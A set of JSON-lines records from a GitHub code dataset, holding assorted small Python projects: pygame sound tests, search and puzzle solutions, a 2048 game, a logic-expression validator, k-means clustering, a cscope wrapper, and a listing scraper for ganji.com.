tempOrder\n elif integer < 100:\n tempOrder = \"0\" + tempOrder\n return tempOrder\n","repo_name":"gitsametcan/CSE3063F22P1_GRP1","sub_path":"Iteration 3/pythonCode/StudentID.py","file_name":"StudentID.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"39762136138","text":"import pygame, sys, math\n\npygame.init()\npygame.mixer.init(frequency=22050, size=-16, channels=1, buffer=4069)\n\n##Define some colours\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nYELLOW = (255, 255, 255)\nBLUE = (0, 0, 255)\nSKYBLUE = (150, 215, 255)\nLIGHTGREEN = (75, 245, 125)\n\nWN_WIDTH = 1000\nWN_HEIGHT = 800\n\nsize = (WN_WIDTH, WN_HEIGHT)\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption(\" .. \")\n\ndone = False\nclock = pygame.time.Clock()\n\n##Define some Fonts\n\nCS17 = pygame.font.Font('C:/Windows/Fonts/comic.ttf', 17)\n\n##--- Main Loop -----\n\nboom = pygame.mixer.Sound(\"C:/Users/MA316BR/Downloads/Atomic_Bomb-Sound_Explorer-897730679.wav\")\n\nwhile not done:\n # ---\n for event in pygame.event.get():\n \n # -- VVV -- code for closing window -- VVV --\n if event.type == pygame.QUIT:\n done = True\n \n elif event.type == pygame.KEYDOWN:\n print(\"User pressed a key.\")\n ## --\n \n elif event.type == pygame.MOUSEBUTTONDOWN:\n print(\"User pressed a mouse button.\")\n \n mousePosX, mousePosY = pygame.mouse.get_pos()\n #print(mousePosX, \" \", mousePosY)\n\n #Now the higher you click, the louder the sound is\n boom.set_volume( ( (WN_HEIGHT - (int(mousePosY))) / 1000 ) )\n pygame.mixer.Sound.play(boom, loops = 0, maxtime = 0, fade_ms=0)\n ## --\n \n\n ## -- Game logic\n\n screen.fill(WHITE)\n\n\n ## -- Put drawing code here\n \n pygame.display.flip()\n \n clock.tick(60) ## FPS\n\n\npygame.quit()\n","repo_name":"matthew-e-brown/Grade-11-Pygame","sub_path":"pygame music test.py","file_name":"pygame music test.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20651195148","text":"from random import randint\n\n\n\n\ndef seq_seach(items, key):\n \"\"\"顺序查找\"\"\"\n for index, item in enumerate(items): # enumerate函数的作用是将可遍历对象组合为索引序列,即得到一个编号+内容的组合\n if item == key:\n return index\n return -1\n\n\ndef bin_search(items, key):\n \"\"\"对分查找\"\"\"\n l, r = 0, len(items)\n while l <= r:\n mid = (l + r) // 2\n if items[mid] == key:\n return mid\n elif items[mid] > key:\n r = mid - 1\n else:\n l = mid + 1\n return -1\n\n\nif __name__ == '__main__':\n p = [randint(0, 1000) for _ in range(500)]","repo_name":"Knight-7/python_learning","sub_path":"search/sample_search.py","file_name":"sample_search.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36540667551","text":"\"\"\"\nCreate a function that takes a string as a parameter and does the following, in this order:\n\nReplaces every letter with the letter following it in the alphabet (see note below)\nMakes any vowels capital\nMakes any consonants lower case\nNote:\n\nthe alphabet should wrap around, so Z becomes A\nin this kata, y isn't considered as a vowel.\nSo, for example the string \"Cat30\" would return \"dbU30\" (Cat30 --> Dbu30 --> dbU30)\n\"\"\"\nimport string\n\n\ndef changer(s):\n alphabet = list(string.ascii_letters)\n new_string = \"\"\n for letter in s:\n if letter.isalpha():\n if letter.lower() == 'z':\n letter = 'a'\n else:\n letter = alphabet[alphabet.index(letter) + 1]\n\n if letter.lower() in ('a', 'e', 'i', 'o', 'u'):\n letter = letter.upper()\n else:\n letter = letter.lower()\n new_string += letter\n return new_string\n\n\nif __name__ == \"__main__\":\n assert changer('Cat30') == 'dbU30'\n assert changer('Alice') == 'bmjdf'\n assert changer('sponge1') == 'tqpOhf1'\n assert changer('Hello World') == 'Ifmmp xpsmE'\n assert changer('dogs') == 'Epht'\n assert changer('z') == 'A'\n","repo_name":"julia-izotowa/Tasks","sub_path":"HW15/change_it_up.py","file_name":"change_it_up.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29473593608","text":"from multiprocessing.connection import Client\n\ndef main():\n\tclient = Client(('localhost', 6000), authkey = b'bulb_city')\n\t\n\tprint()\n\t\n\twhile True:\n\t\tmsg = input(\"Enter message: \")\n\t\tclient.send(msg)\n\t\t\n\t\tif msg == \"terminate\":\n\t\t\tbreak\n\treturn\n\t\nif __name__ == \"__main__\":\n\tmain()","repo_name":"clitetailor/T-Bot","sub_path":"ipc/ipc_sender.py","file_name":"ipc_sender.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19143711250","text":"import unittest\nfrom starlette.testclient import TestClient\nfrom bothub_nlp_api import app as api\nfrom unittest.mock import patch\n\n\nclass TestTaskQueueRoute(unittest.TestCase):\n def setUp(self):\n self.app = TestClient(api.app)\n\n def test_v2_invalid_id_task(self):\n invalid_params = {\"from_queue\": \"example\"}\n response = self.app.get(\"v2/task-queue\", params=invalid_params)\n self.assertEqual(422, response.status_code)\n\n def test_v2_invalid_queue(self):\n invalid_params = {\"id_task\": \"example\"}\n response = self.app.get(\"v2/task-queue\", params=invalid_params)\n self.assertEqual(422, response.status_code)\n\n @patch(\n \"bothub_nlp_api.handlers.task_queue.task_queue_handler\",\n return_value={\"status\": \"test\", \"ml_units\": 1.0},\n )\n def test_v2_task_queue(self, *args):\n params = {\"id_task\": \"1\", \"from_queue\": \"celery\"}\n response = self.app.get(\"v2/task-queue\", params=params)\n self.assertEqual(200, response.status_code)\n","repo_name":"weni-ai/bothub-nlp-api","sub_path":"bothub_nlp_api/tests/test_unit_integration_api_v2/test_task_queue_api.py","file_name":"test_task_queue_api.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"10288685686","text":"from unittest import TestCase\n\nimport ddt\n\n'''\nYou are climbing a stair case. It takes n steps to reach to the top.\n\nEach time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top?\n\nNote: Given n will be a positive integer.\n\nExample 1:\n\nInput: 2\nOutput: 2\nExplanation: There are two ways to climb to the top.\n1. 1 step + 1 step\n2. 2 steps\nExample 2:\n\nInput: 3\nOutput: 3\nExplanation: There are three ways to climb to the top.\n1. 1 step + 1 step + 1 step\n2. 1 step + 2 steps\n3. 2 steps + 1 step\n'''\n\n\nclass Solution(object):\n def climbStairs(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n cache = {0: 0, 1: 1}\n def helper(n):\n if n in cache:\n return cache[n]\n else:\n cache[n]=helper(n-1)+helper(n-2)\n return cache[n]\n return helper(n+1)\n@ddt.ddt\nclass LeetCodeTest(TestCase):\n\n def setUp(self):\n self.solution = Solution()\n\n @ddt.unpack\n @ddt.data(\n ([2], 2),\n ([3], 3),\n ([4], 5),\n ([6], 13),\n\n )\n def test_solution(self, args, output):\n response = self.solution.climbStairs(*args)\n self.assertEqual(response, output, \"expected: {} \\n actual: {}\\n\".format(output, response))\n\n\n","repo_name":"eugene01a/algorithms-practice","sub_path":"problems/climbing_stairs.py","file_name":"climbing_stairs.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30610444098","text":"\"\"\"\n백준 2251. 물통\n\n링크: https://www.acmicpc.net/problem/2251\n\"\"\"\n\nfrom collections import deque\nfrom sys import stdin\nreadline = stdin.readline\n\ndef pour(x, y):\n if not visited[x][y]:\n visited[x][y] = True\n que.append((x, y))\n\ndef BFS():\n while que:\n x, y = que.popleft()\n z = C - x - y\n\n if x == 0:\n answer.append(z)\n\n water = min(x, B - y)\n pour(x - water, y + water)\n water = min(x, C - z)\n pour(x - water, y)\n water = min(y, A - x)\n pour(x + water, y - water)\n water = min(y, C - z)\n pour(x, y - water)\n water = min(z, A - x)\n pour(x + water, y)\n water = min(z, B - y)\n pour(x, y + water)\n\nA, B, C = map(int, readline().split())\n\nque = deque()\nque.append((0, 0))\n\nvisited = [[False] * (B + 1) for _ in range(A + 1)]\nvisited[0][0] = True\n\nanswer = []\n\nBFS()\n\nanswer.sort()\nfor temp in answer:\n print(temp, end = ' ')","repo_name":"moneymanni/baekjoon","sub_path":"Python/baekjoon2251.py","file_name":"baekjoon2251.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32045518669","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.tri as mtri\nimport matplotlib\nfrom MyDelaunay import MyDelaunay\nimport time\nimport os.path\n\n#####Read in data -- already downsampled #####\ninput_file_name = 'BoulderFalls_1000.csv' ##File name with .csv extension\nwith open(input_file_name) as f:\n next(csv.reader(f)) ##skip header\n data = list(csv.reader(f, quoting = csv.QUOTE_NONNUMERIC))\n \n##Data \na = np.asarray(data)\n\n##Triangle object\ntri = MyDelaunay(np.vstack([a[:,0],a[:,1]]).T, pts = a)\n\n\n##Source of sound\nsource = np.asarray([465100, 4.42818E6, 2130])\n\n\n##Intensity of source\nsource_intensity = 100 # decibels of input source\nd = tri.distance(source) # distance from source to each simplex\ninv_mag = np.divide(1,np.power(d,2))\n\n#The step_factor can be set to speed up computation time\n##Source to destination blocking vector\nsource_blocked = tri.check_blocked(source, step_factor = 20)\n\n#Element-wise initial intensity due to source\n#First term is sound propogation inverse square law\nI0 = np.multiply(source_intensity - 20 * np.log10(d), source_blocked)\n\n##Check if the element to element blocking matrix has already been \n##created. If so, simply read it in. Otherwise build it\nif os.path.exists('block_mat_' + input_file_name):\n with open('block_mat_' + input_file_name) as f:\n data_bm = list(csv.reader(f, quoting = csv.QUOTE_NONNUMERIC))\n block_mat = np.asarray(data_bm)\n \nelse: \n block_mat = tri.element_blocking_matrix()\n np.savetxt('block_mat_' + input_file_name ,block_mat, delimiter=',', fmt = '%.0f')\n\n\n##Include first order reflections?\nref_bool = True\nif ref_bool:\n ref = tri.reflection_intensity(source, block_mat, I_incident = I0, dispersion_angle = 0.4)\n I = I0 + ref #reflection + I0\nelse:\n I = I0\n\n\n# %% Plotting\nax = plt.axes(projection='3d')\n\n#Decibel scales\nloud = 85\nquiet = 40\nnorm = matplotlib.colors.LogNorm(quiet, loud)\ncolors = matplotlib.cm.jet(norm(I))\n\ntriang = mtri.Triangulation(x=a[:, 0], y=a[:, 1], triangles=tri.simplices)\nsurf = ax.plot_trisurf(triang, a[:,2], ax.view_init(30, 30),\n edgecolor='black', \n linewidth = 0.2)\nsurf.set_fc(colors)\n\nplt.rcParams['figure.dpi'] = 300\nplt.show()\n\n ","repo_name":"william2101/CanyonNoise","sub_path":"CanyonNoise/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40910435275","text":"import random\r\n\r\n\r\nclass My2048Game:\r\n def __init__(self):\r\n self.lose = False\r\n self.score = 0\r\n self.board = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]\r\n\r\n def starte_spiel(self):\r\n self.generiere_zahl()\r\n self.generiere_zahl()\r\n while (True):\r\n self.ausgabe_spielfeld()\r\n self.score_ausgeben()\r\n if (self.pruefe_verloren() == True):\r\n print(\"Keine gueltigen Zuege mehr moeglich! Spiel vorbei!\")\r\n break\r\n spielzug = input(\r\n \"Wie Spielfeld verschieben? L, R, O, U? (Quit = Q)\")\r\n tempBoard = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]\r\n for reihe in range(4):\r\n for spalte in range(4):\r\n tempBoard[reihe][spalte] = self.board[reihe][spalte]\r\n if spielzug == 'Q' or spielzug == 'q':\r\n break\r\n elif spielzug == 'L' or spielzug == 'l':\r\n self.verschiebeLinks(0)\r\n self.verschiebeLinks(1)\r\n self.verschiebeLinks(2)\r\n self.verschiebeLinks(3)\r\n elif spielzug == 'R' or spielzug == 'r':\r\n self.verschiebeRechts(0)\r\n self.verschiebeRechts(1)\r\n self.verschiebeRechts(2)\r\n self.verschiebeRechts(3)\r\n elif spielzug == 'O' or spielzug == 'o':\r\n self.verschiebeHoch(0)\r\n self.verschiebeHoch(1)\r\n self.verschiebeHoch(2)\r\n self.verschiebeHoch(3)\r\n elif spielzug == 'U' or spielzug == 'u':\r\n self.verschiebeRunter(0)\r\n self.verschiebeRunter(1)\r\n self.verschiebeRunter(2)\r\n self.verschiebeRunter(3)\r\n else:\r\n print(\"Inkorrekte Eingabe! Versuche es erneut\")\r\n if (self.vergleiche_board(self.board, tempBoard) == False): #prueft ob sich board geaendert hat\r\n self.generiere_zahl()\r\n\r\n def generiere_zahl(self):\r\n reihe = random.randint(0, 3)\r\n spalte = random.randint(0, 3)\r\n while self.board[reihe][spalte] != 0:\r\n reihe = random.randint(0, 3)\r\n spalte = random.randint(0, 3)\r\n zahl = random.choice([2, 4])\r\n self.board[reihe][spalte] = zahl\r\n\r\n def ausgabe_spielfeld(self):\r\n for i in range(len(self.board)):\r\n for j in range(len(self.board)):\r\n abstand = \" \"\r\n if (self.board[i][j] > 9):\r\n abstand = \" \"\r\n if (self.board[i][j] > 99):\r\n abstand = \" \"\r\n if (self.board[i][j] > 999):\r\n abstand = \" \"\r\n print(self.board[i][j], end=abstand)\r\n print(\"\")\r\n\r\n def verschiebeHoch(self, spalte):\r\n for reihe in range(1, 4):\r\n sucheReihe = reihe - 1\r\n while (self.board[sucheReihe][spalte] == 0 and sucheReihe > 0): # sucht von oben nach unten nach nullen\r\n sucheReihe = sucheReihe - 1\r\n if (sucheReihe == 0 and self.board[sucheReihe][spalte] == 0): # verschiebt ueber die nullen\r\n self.board[0][spalte] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n elif (self.board[sucheReihe][spalte] == self.board[reihe][spalte]): # zwei gleiche zahlen gefunden\r\n self.zusammenfuegen(reihe, spalte, sucheReihe, spalte)\r\n self.board[reihe][spalte] = 0\r\n elif (reihe > sucheReihe + 1): # zahl gefunden aber uebereinstimmen nicht\r\n self.board[sucheReihe + 1][spalte] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n\r\n def verschiebeRunter(self, spalte):\r\n for reihe in range(2, -1, -1):\r\n sucheReihe = reihe + 1\r\n while (self.board[sucheReihe][spalte] == 0 and sucheReihe < 3):\r\n sucheReihe = sucheReihe + 1\r\n if (sucheReihe == 3 and self.board[sucheReihe][spalte] == 0):\r\n self.board[3][spalte] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n elif (self.board[sucheReihe][spalte] == self.board[reihe][spalte]):\r\n self.zusammenfuegen(reihe, spalte, sucheReihe, spalte)\r\n self.board[reihe][spalte] = 0\r\n elif (reihe < sucheReihe - 1): \r\n self.board[sucheReihe - 1][spalte] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n\r\n def verschiebeLinks(self, reihe):\r\n for spalte in range(1, 4):\r\n sucheSpalte = spalte - 1\r\n while (self.board[reihe][sucheSpalte] == 0 and sucheSpalte > 0):\r\n sucheSpalte = sucheSpalte - 1\r\n if (sucheSpalte == 0 and self.board[reihe][sucheSpalte] == 0):\r\n self.board[reihe][0] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n elif (self.board[reihe][sucheSpalte] == self.board[reihe][spalte]):\r\n self.zusammenfuegen(reihe, spalte, reihe, sucheSpalte)\r\n self.board[reihe][spalte] = 0\r\n elif (spalte > sucheSpalte + 1): \r\n self.board[reihe][sucheSpalte + 1] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n\r\n def verschiebeRechts(self, reihe):\r\n for spalte in range(2, -1, -1):\r\n sucheSpalte = spalte + 1\r\n while (self.board[reihe][sucheSpalte] == 0 and sucheSpalte < 3):\r\n sucheSpalte = sucheSpalte + 1\r\n if (sucheSpalte == 3 and self.board[reihe][sucheSpalte] == 0):\r\n self.board[reihe][3] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n elif (self.board[reihe][sucheSpalte] == self.board[reihe][spalte]):\r\n self.zusammenfuegen(reihe, spalte, reihe, sucheSpalte)\r\n self.board[reihe][spalte] = 0\r\n elif (spalte < sucheSpalte - 1): \r\n self.board[reihe][sucheSpalte - 1] = self.board[reihe][spalte]\r\n self.board[reihe][spalte] = 0\r\n\r\n def zusammenfuegen(self, reihe1, spalte1, reihe2, spalte2):\r\n self.board[reihe2][spalte2] = 2 * self.board[reihe2][spalte2]\r\n self.aktualisiere_score(self.board[reihe2][spalte2])\r\n\r\n def vergleiche_board(self, board1, board2):\r\n for reihe in range(4):\r\n for spalte in range(4):\r\n if (board1[reihe][spalte] != board2[reihe][spalte]):\r\n return False\r\n return True\r\n\r\n def aktualisiere_score(self, zahl1):\r\n self.score = self.score + zahl1\r\n\r\n def score_ausgeben(self):\r\n print(\"Score: {} \\n\".format(self.score))\r\n\r\n def pruefe_verloren(self):\r\n for reihe in range(4):\r\n for spalte in range(4):\r\n if (self.board[reihe][spalte] == 0): # pruefe ob noch nullen vorhanden\r\n return False\r\n for reihe in range(4):\r\n for spalte in range(3):\r\n if (self.board[reihe][spalte] == self.board[reihe][spalte + 1]): # pruefe ob horizontale zuege moeglich\r\n return False\r\n for reihe in range(3):\r\n for spalte in range(4):\r\n if (self.board[reihe][spalte] == self.board[reihe + 1][spalte]): # pruefe ob vertikale zuege moeglich\r\n return False\r\n return True\r\n\r\n\r\ngame = My2048Game()\r\ngame.starte_spiel()\r\n","repo_name":"deniz-polat/python-2048","sub_path":"My2048Game.py","file_name":"My2048Game.py","file_ext":"py","file_size_in_byte":7562,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40691358901","text":"#Gabriel Marchioro Klein\n# Para obter os pontos relativos a este trabalho, você deverá fazer um programa, usando a \n# linguagem de programação que desejar, que seja capaz de validar expressões de lógica propisicional \n# escritas em latex e definir se são expressões gramaticalmente corretas. Você validará apenas a forma \n# da expressão (sintaxe). \n# A entrada será fornecida por um arquivo de textos que será carregado em linha de comando, \n# com a seguinte formatação: \n# 1. Na primeira linha deste arquivo existe um número inteiro que informa quantas expressões \n# lógicas estão no arquivo. \n# 2. Cada uma das linhas seguintes contém uma expressão lógica que deve ser validada. \n# A saída do seu programa será no terminal padrão do sistema e constituirá de uma linha de saída \n# para cada expressão lógica de entrada contendo ou a palavra valida ou a palavra inválida e nada mais. \n# Gramática: \n# Formula=Constante|Proposicao|FormulaUnaria|FormulaBinaria. \n# Constante=\"T\"|\"F\". \n# Proposicao=[a−z0−9]+ \n# FormulaUnaria=AbreParen OperadorUnario Formula FechaParen \n# FormulaBinaria=AbreParen OperatorBinario Formula Formula FechaParen \n# AbreParen=\"(\" \n# FechaParen=\")\" \n# OperatorUnario=\"¬\" \n# OperatorBinario=\"∨\"|\"∧\"|\"→\"|\"↔\" \n \n# Cada expressão lógica avaliada pode ter qualquer combinação das operações de negação, \n# conjunção, disjunção, implicação e bi-implicação sem limites na combiação de preposições e operações. \n# Os valores lógicos True e False estão representados na gramática e, como tal, podem ser usados em \n# qualquer expressão de entrada. \n# Para validar seu trabalho, você deve incluir no repl.it, no mínimo três arquivos contendo \n# números diferentes de expressões proposicionais. O professor irá incluir um arquivo de testes extra \n# para validar seu trabalho. Para isso, caberá ao professor incluir o arquivo no seu repl.it e rodar o seu \n# programa carregando o arquivo de testes. \n\nimport re\n\n# gramatica:\nFormula = ['Constante', 'Proposicao', 'FormulaUnaria', 'FormulaBinaria']\nFormulaUnaria= ['AbreParen', 'OperatorUnario', 'Formula', 'FechaParen']\nFormulaBinaria= ['AbreParen', 'OperatorBinario', 'Formula', 'Formula', 'FechaParen']\n# terminais\nProposicao= re.compile(r'[a-z0-9]+')\nConstante = ['T', 'F', 'True', 'False', True, False]\nAbreParen = '('\nFechaParen = ')'\nOperatorUnario= '¬'\nOperatorBinario= ['∨','∧','→','↔']\npropNot = ['Formula','FormulaUnaria','FormulaBinaria','Proposicao','Constante','AbreParen','FechaParen','OperatorUnario', 'OperatorBinario'] # Pra resolver o problema que o regex criou\nterminals = [Constante, AbreParen, FechaParen, OperatorUnario, OperatorBinario]\n\n\ndef varName(var):\n for name in globals():\n if eval(name) == var:\n return name\n\n# Transforma os terminais em não-terminais\ndef firstParse(expression):\n try:\n args = expression.split(' ')\n except AttributeError:\n args = expression\n for i, arg in enumerate(args):\n for j, rule in enumerate(terminals):\n if arg in rule:\n args[i] = varName(terminals[j])\n elif Proposicao.search(arg) and arg not in propNot:\n args[i] = 'Proposicao'\n return args\n\n# Transforma Constante e Preposicao em Formula\ndef secondParse(expression):\n args = firstParse(expression)\n for i, arg in enumerate(args):\n for j, rule in enumerate(Formula):\n if arg in rule:\n args[i] = 'Formula'\n return args\n\n# Procura e transforma FormulaBinaria e FormulaUnaria em Formula\ndef thirdParse(expression):\n args = expression\n def innerParse(expression):\n args = secondParse(expression)\n newArgs = []\n openPar = 0\n for i, arg in enumerate(args):\n if arg == 'AbreParen':\n openPar += 1\n if args[i:i+4] == FormulaUnaria:\n newArgs.append('FormulaUnaria')\n del args[i:i+3]\n args[i] = 'FormulaUnaria'\n elif args[i:i+5] == FormulaBinaria:\n newArgs.append('FormulaBinaria')\n del args[i:i+4]\n args[i] = 'FormulaBinaria'\n elif arg == 'FechaParen':\n openPar -= 1\n elif openPar == 0:\n newArgs.append(arg)\n return args\n args = innerParse(args)\n if 'FormulaBinaria' in args or 'FormulaUnaria' in args:\n args = thirdParse(args)\n return args\n\n\ndef fourthParse(expression):\n args = thirdParse(expression)\n for i, arg in enumerate(args):\n for j, rule in enumerate(Formula):\n if arg in rule:\n args[i] = 'Formula'\n if args != ['Formula']:\n return False\n else:\n return True\n\n\ndef parseExpression(file):\n with open(file, 'r') as file:\n lines = file.readlines()\n stringNum = int(lines[0].strip())\n for i in range(1, stringNum + 1):\n try:\n line = lines[i].strip()\n if fourthParse(line) == True:\n print(f'{line}: válida')\n elif fourthParse(line) == False:\n print(f'{line}: inválida')\n except:\n print('Número de linhas registradas maior do que número de linhas presentes\\n')\n file.close()\n\n# Coloque seus arquivos de texto dentro das funções:\nparseExpression('expression1.txt')\nparseExpression('expression2.txt')\nparseExpression('expression3.txt')","repo_name":"gamarchklein/ParserForLatexExpressions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74659117528","text":"# Example from DMelt http://jwork.org/dmelt/\n# S.Chekanov (ANL)\n\nfrom jhplot import HPlot3D,F2D\n\nc1 = HPlot3D(\"Canvas\",600,400)\nc1.setNameX(\"Xaxis\")\nc1.setNameY(\"Yaxis\")\nc1.setNameY(\"Zaxis\")\nc1.visible()\n\nc1.setRange(0,10,0,10,0,10)\nf1 = F2D(\"2*exp(-x*y/20)+10*sin(pi*x)+x*y\")\nc1.draw(f1)\n\n# export to some image (png,eps,pdf,jpeg...)\nc1.export(\"func_2D.eps\")\n","repo_name":"chekanov/jas4pp","sub_path":"jas-base/extensions/Groovy/src/main/resources/org/freehep/jas/extension/groovy/web/examples/func_2D.py","file_name":"func_2D.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5862403668","text":"#https://matplotlib.org/stable/tutorials/index.html#\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndataset = pd.read_csv('../data/Mall_Customers.csv') \nx = dataset.iloc[:, [3]].values \ny = dataset.iloc[:, [4]].values \n\nprint(\"Displaying the scatter of x and y\")\nprint(\"Close the current picture to view elbow method\");\nprint(\"Done\");\n\n#plt.scatter(x, y)\n#plt.show() \n\nfrom sklearn.cluster import KMeans\n\ndata = dataset.iloc[:, [3, 4]].values \ninertias = []\n\nfor i in range(1,11):\n kmeans = KMeans(n_clusters=i, init='k-means++', random_state= 42) \n kmeans.fit(data)\n inertias.append(kmeans.inertia_)\n\nplt.plot(range(1,11), inertias, marker='o')\nplt.title('Elbow method')\nplt.xlabel('Number of clusters')\nplt.ylabel('Inertia')\nprint(\"Currently displaying Elbow method picture\")\nplt.show()\nprint(\"Done\");\n\n#kmeans = KMeans(n_clusters=2)\n#kmeans.fit(data)\n\n#plt.scatter(x, y, c=kmeans.labels_)\n#plt.show() \n\n","repo_name":"MTech2022/ai_assignment","sub_path":"code/k_means.py","file_name":"k_means.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4333743999","text":"from __future__ import print_function\nimport subprocess\nimport os\nimport threading\n\nfrom .debug import Debug\n\nclass CscopeThread(threading.Thread):\n def __init__(self, root, command):\n self.root = root\n self.command = command\n super(CscopeThread, self).__init__()\n\n def run(self):\n os.chdir(self.root)\n\n #subprocess.call(\" \".join(cscope_cmd), shell = (os.name != 'nt'))\n # shell=True stops the command window popping up\n # We don't use stdin, but have to define it in order\n # to get round python bug 3905\n # http://bugs.python.org/issue3905\n process = subprocess.Popen(self.command,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE\n )#, shell=True)\n (sout, serr) = process.communicate()\n\ncscopeThread = None\n\ndef StartCscopeDBGeneration(options):\n global cscopeThread\n root = options['SourceDir']\n\n args = ['-b', '-f', options['CscopeFileFull']]\n\n if options['Recurse']:\n args.append('-R')\n\n cscope_cmd = [options['CscopeExeFull']] + args\n\n Debug(\"cscope command is \" + repr(cscope_cmd), \"Information\")\n\n cscopeThread = CscopeThread(root, cscope_cmd)\n cscopeThread.start()\n\ndef CompleteCscopeDBGeneration():\n global cscopeThread\n if cscopeThread is not None:\n cscopeThread.join()\n cscopeThread = None\n","repo_name":"abudden/taghighlight-automirror","sub_path":"plugin/TagHighlight/module/cscope_interface.py","file_name":"cscope_interface.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"31"} +{"seq_id":"23068214034","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\nimport pymongo\nimport random\n\n\n\nclient = pymongo.MongoClient('localhost', 27017)\nganji = client['ganji']\nurl_list = ganji['url_list_new']\nitem_info = ganji['item_info_new']\n\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',\n 'Connection':'keep-alive'\n}\n\n# http://cn-proxy.com/\nproxy_list = [\n 'http://111.13.7.42:81',\n 'http://183.95.152.159:3128',\n 'http://211.153.17.151:80',\n ]\nproxy_ip = random.choice(proxy_list) # 随机获取代理ip\nproxies = {'http': proxy_ip}\n\n\n\n# spider 1\ndef get_links_from(channel, pages, who_sells='o'):\n # http://bj.ganji.com/ershoubijibendiannao/o3/\n # o for personal a for merchant\n time.sleep(2)\n list_view = '{}{}{}/'.format(channel, str(who_sells), str(pages))\n # wb_data = requests.get(list_view,headers=headers,proxies=proxies)\n wb_data = requests.get(list_view)\n soup = BeautifulSoup(wb_data.text, 'lxml')\n if soup.find('ul', 'pageLink'):\n for link in soup.select('.zzinfo td.t a'):\n item_link = link.get('href')\n url_list.insert_one({'url': item_link})\n print(item_link)\n # return urls\n else:\n # It's the last page !\n pass\n\n# get_links_from('http://bj.ganji.com/jiaju/', 5)\n\n\n# spider 2\ndef get_item_info_from(url, data=None):\n time.sleep(1)\n wb_data = requests.get(url, headers=headers)\n soup = BeautifulSoup(wb_data.text, 'lxml')\n if soup.find('span', 'soldout_btn'):\n pass\n # print('商品已下架')\n else:\n soup = BeautifulSoup(wb_data.text, 'lxml')\n cates = soup.select('span.crb_i > a')\n if len(cates) == 3: # 分类判断\n cate = cates[2].text\n # print(cate)\n else:\n cate = cates[1].text\n # print(cate)\n data = {\n 'title': soup.select('h1.info_titile')[0].text,\n 'price': soup.select('span.price_now i')[0].text,\n # 'pub_date': soup.select('.pr-5')[0].text.strip().split(' ')[0],\n # 'area': list(map(lambda x:x.text,soup.select('ul.det-infor > li:nth-of-type(3) > a'))),\n # 'cates': list(soup.select('ul.det-infor > li:nth-of-type(1) > span')[0].stripped_strings),\n 'area': soup.select('.palce_li > span i')[0].text,\n 'cates': cate,\n 'url': url.split('?')[0]\n }\n print(data)\n item_info.insert_one(data)\n\n\n# get_item_info_from('http://zhuanzhuan.ganji.com/detail/801290327291625479z.shtml?from=pc&source=ganji&cate=%E5%8C%97%E4%BA%AC%E8%B5%B6%E9%9B%86%7C%E5%8C%97%E4%BA%AC%E4%BA%8C%E6%89%8B%7C%E5%8C%97%E4%BA%AC%E5%AE%B6%E7%94%A8%E7%94%B5%E5%99%A8%7C%E5%8C%97%E4%BA%AC%E4%BA%8C%E6%89%8B%E7%94%B5%E8%A7%86&cateurl=bj|wu|jiadian|dianshi')\n# 